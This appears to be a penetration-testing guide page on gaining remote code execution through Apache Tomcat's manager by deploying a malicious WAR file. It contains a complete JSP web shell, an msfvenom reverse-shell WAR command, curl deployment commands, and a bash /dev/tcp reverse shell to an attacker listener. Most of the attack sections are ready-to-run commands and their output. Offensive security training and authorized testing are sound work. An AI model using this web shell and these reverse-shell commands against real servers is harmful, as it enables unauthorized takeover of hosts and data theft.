Skip to content

Tomcat Manager WAR Deployment

5 min read Created Mar 30, 2026 Last updated Aug 11, 2026

Tomcat WAR Deployment Exploitation

The Tomcat manager's WAR deployment feature is designed for legitimate application deployment but provides direct remote code execution when accessible with valid credentials. A malicious WAR file containing a JSP web shell is deployed as a web application, then accessed via HTTP to execute commands. Confirm manager access and valid credentials through Tomcat manager testing before proceeding. The account must hold the manager-script or manager-gui role. On Windows, Tomcat commonly runs as SYSTEM, which changes the privilege context significantly. On Linux it runs as a low-privilege service user, usually named tomcat.

  • Create the Malicious WAR File
  • Deploy via Manager Web UI
  • Confirm Execution
  • Get a Reverse Shell
  • Deploy via msfvenom WAR (Automatic Shell)
  • Undeploy After Assessment

Create the Malicious WAR File

Generate a JSP reverse shell WAR using msfvenom. This payload requires outbound TCP connectivity from the target back to your listener. Blocked egress will silently hang the request with no error on your end. Msfvenom assigns a random filename to the JSP inside the archive. You must identify that filename before triggering execution.

┌──(kali㉿kali)-[~]
└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f war -o /tmp/shell.war
Payload size: 1088 bytes
Final size of war file: 1088 bytes
Saved as: /tmp/shell.war
Explain command
-p java/jsp_shell_reverse_tcp Specifies the payload: a JSP-based reverse TCP shell for Java environments.
LHOST=$LHOST Sets the attacker's listening IP address for the reverse connection.
LPORT=$LPORT Sets the attacker's listening port for the reverse connection.
-f war Specifies the output format as a WAR (Web Application Archive) file.
-o /tmp/shell.war Writes the generated payload to the specified output file path.

Alternatively, create a minimal WAR manually with a simple JSP web shell. This approach avoids the msfvenom payload signature and produces a predictable filename. The shell accepts commands via the cmd GET parameter and executes them through Runtime.exec() with bash. This method works well when egress is blocked, since it is a parameter-driven web shell rather than an auto-connecting reverse shell. The target needs bash installed. Replace /bin/bash with /bin/sh on stripped-down systems.

mkdir -p /tmp/warshell/WEB-INF
cat > /tmp/warshell/shell.jsp << 'EOF'
<%@ page import="java.util.*,java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
    Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",cmd});
    InputStream in = p.getInputStream();
    BufferedReader br = new BufferedReader(new InputStreamReader(in));
    String line;
    while((line = br.readLine()) != null) output += line + "\n";
}
out.println(output);
%>
EOF
cat > /tmp/warshell/WEB-INF/web.xml << 'EOF'
<?xml version="1.0"?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee" version="2.5">
  <display-name>Shell</display-name>
</web-app>
EOF
cd /tmp/warshell && jar -cvf /tmp/shell.war .

Deploy via Manager Web UI

Upload the WAR through the manager text API with curl. A 401 response means credentials are wrong. A 403 means the account lacks the manager-script role. A FAIL response with "already exists" means another application is already deployed at that context path. Change the path parameter and retry. Deployment is immediate: the application starts serving requests as soon as the success response arrives.

┌──(kali㉿kali)-[~]
└─$ curl -sk -u "$USER:$PASSWORD" http://$TARGET_IP:8080/manager/text/deploy?path=/shell --upload-file /tmp/shell.war
OK - Deployed application at context path [/shell]

Confirm Execution

The id output confirms code execution under the Tomcat process user. On Linux this is typically a low-privilege service account. Check /etc/passwd for supplementary groups and run sudo -l for unexpected entries. If the response is blank or returns an HTML error page, the JSP filename does not match. Use jar -tf /tmp/shell.war to confirm the actual filename inside the archive before retrying.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:8080/shell/shell.jsp?cmd=id"
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

Get a Reverse Shell

Start the listener before hitting the JSP endpoint. The bash reverse shell payload requires bash on the target. If the connection does not arrive, replace bash with sh in the cmd parameter. Using --data-urlencode prevents the attacker shell from interpreting special characters before the request leaves. The curl request will appear to hang once the shell connects, which is expected behaviour.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
Explain command
-l Listen mode, waits for incoming connections.
-v Verbose output, displays connection details.
-n Skip DNS resolution, use numeric IPs only.
-p Specifies the local port number to listen on.
$LPORT Variable placeholder for the local listening port number.
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:8080/shell/shell.jsp" --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

Deploy via msfvenom WAR (Automatic Shell)

When using the msfvenom-generated WAR, find the JSP filename inside the archive and access it directly. Msfvenom assigns a random name at generation time. The jar command extracts it before deployment. Accessing that JSP endpoint triggers the reverse connection back to the listener. Ensure nc is listening before making the final curl request or the payload will exit without connecting.

┌──(kali㉿kali)-[~]
└─$ JSP_NAME=$(jar -tf /tmp/shell.war | grep '\.jsp')
┌──(kali㉿kali)-[~]
└─$ echo "Shell at: http://$TARGET_IP:8080/shell/$JSP_NAME"
┌──(kali㉿kali)-[~]
└─$ curl -sk -u "$USER:$PASSWORD" http://$TARGET_IP:8080/manager/text/deploy?path=/shell --upload-file /tmp/shell.war
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT &
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:8080/shell/$JSP_NAME"

Undeploy After Assessment

Remove the deployed WAR immediately after obtaining the shell. Active web shells are high-visibility artifacts and may be picked up by EDR or file integrity monitoring. The undeploy call removes the application context from Tomcat without restarting the service. Verify removal by querying the application list at /manager/text/list. Any context still present after cleanup must be reported as an artifact left during the engagement.

┌──(kali㉿kali)-[~]
└─$ curl -sk -u "$USER:$PASSWORD" "http://$TARGET_IP:8080/manager/text/undeploy?path=/shell"
OK - Undeployed application at context path [/shell]

This technique fails when the manager application restricts access to localhost only, which is the default hardening recommendation. A 403 after successful authentication is the usual indicator. If you have another foothold on the host, pivot through a local port forward to reach the manager from loopback. The manager may also enforce IP allowlists via RemoteAddrValve in the Tomcat configuration. Check context.xml inside the Tomcat installation for that valve if remote access is consistently denied despite correct credentials.

References